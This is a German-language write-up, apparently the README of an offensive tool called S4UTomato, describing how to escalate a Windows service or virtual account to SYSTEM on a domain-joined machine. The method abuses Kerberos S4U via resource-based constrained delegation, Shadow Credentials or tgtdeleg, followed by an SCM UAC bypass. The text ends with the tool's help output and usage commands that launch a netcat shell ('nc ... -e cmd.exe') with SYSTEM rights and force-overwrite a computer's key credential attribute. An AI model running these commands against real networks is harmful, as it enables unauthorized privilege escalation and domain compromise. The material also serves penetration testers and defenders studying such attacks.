
Dienstkonto über Kerberos zu LocalSystem eskalieren
Eskalieren Sie Service-Konten zu LocalSystem über Kerberos.
Freunde, die mit der "Potato"-Serie von Privilegieneskalation vertraut sind, wissen, dass sie Service-Konten-Berechtigungen auf lokale Systemberechtigungen erhöhen kann. Die frühen Ausnutzungstechniken von "Potato" sind fast identisch: Sie nutzen bestimmte Funktionen von COM-Schnittstellen aus, täuschen das NT AUTHORITY\SYSTEM-Konto, um eine Verbindung zu einem vom Angreifer kontrollierten RPC-Server herzustellen und sich zu authentifizieren. Dann wird durch eine Reihe von API-Aufrufen während dieses Authentifizierungsprozesses ein Man-in-the-Middle (NTLM-Relay)-Angriff durchgeführt, der die Erzeugung eines Zugriffstokens für das NT AUTHORITY\SYSTEM-Konto auf dem lokalen System zur Folge hat. Schließlich wird dieses Token gestohlen und die Funktion CreateProcessWithToken() oder CreateProcessAsUser() verwendet, um das Token zu übergeben und einen neuen Prozess zu erstellen, um SYSTEM-Berechtigungen zu erhalten.
In einer Windows-Domänenumgebung werden SYSTEM, NT AUTHORITY\NETWORK SERVICE und Microsoft-Virtuelle Konten von Systemcomputer-Konten, die der Domäne beigetreten sind, zur Authentifizierung verwendet. Dies zu verstehen ist entscheidend, da in modernen Windows-Versionen die meisten Windows-Dienste standardmäßig Microsoft-Virtuelle Konten verwenden. Bemerkenswerterweise verwenden IIS und MSSQL diese virtuellen Konten, und ich glaube, dass auch andere Anwendungen sie nutzen könnten. Daher können wir die S4U-Erweiterung missbrauchen, um das Service-Ticket für das Domänenadministrator-Konto "Administrator" auf dem lokalen Rechner zu erhalten. Dann können wir mit Hilfe von James Forshaws (@tiraniddo) SCMUACBypass dieses Ticket nutzen, um einen Systemdienst zu erstellen und SYSTEM-Berechtigungen zu erhalten. Dies erreicht den gleichen Effekt wie die traditionellen Methoden, die in der "Potato"-Familie von Privilegieneskalationstechniken verwendet werden.
In jedem Szenario, in dem ein Rechner einer Domäne beigetreten ist, können Sie die oben genannten Techniken zur lokalen Privilegieneskalation nutzen, solange Sie Code im Kontext eines Windows-Service-Kontos oder eines Microsoft-Virtuellen Kontos ausführen können, vorausgesetzt, das Active Directory wurde nicht gehärtet, um sich vollständig gegen solche Angriffe zu verteidigen.
Zuvor müssen wir ein TGT (Ticket Granting Ticket) für das lokale Computerkonto erhalten. Dies ist nicht einfach, da die Einschränkungen durch Service-Konto-Berechtigungen es uns unmöglich machen, den langfristigen Schlüssel des Computers zu erhalten und somit keinen KRB_AS_REQ-Antrag konstruieren zu können. Um das genannte Ziel zu erreichen, habe ich drei Techniken eingesetzt: Resource-based Constrained Delegation, Shadow Credentials und Tgtdeleg. Ich habe mein Projekt auf der Grundlage des Rubeus-Toolkits erstellt.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
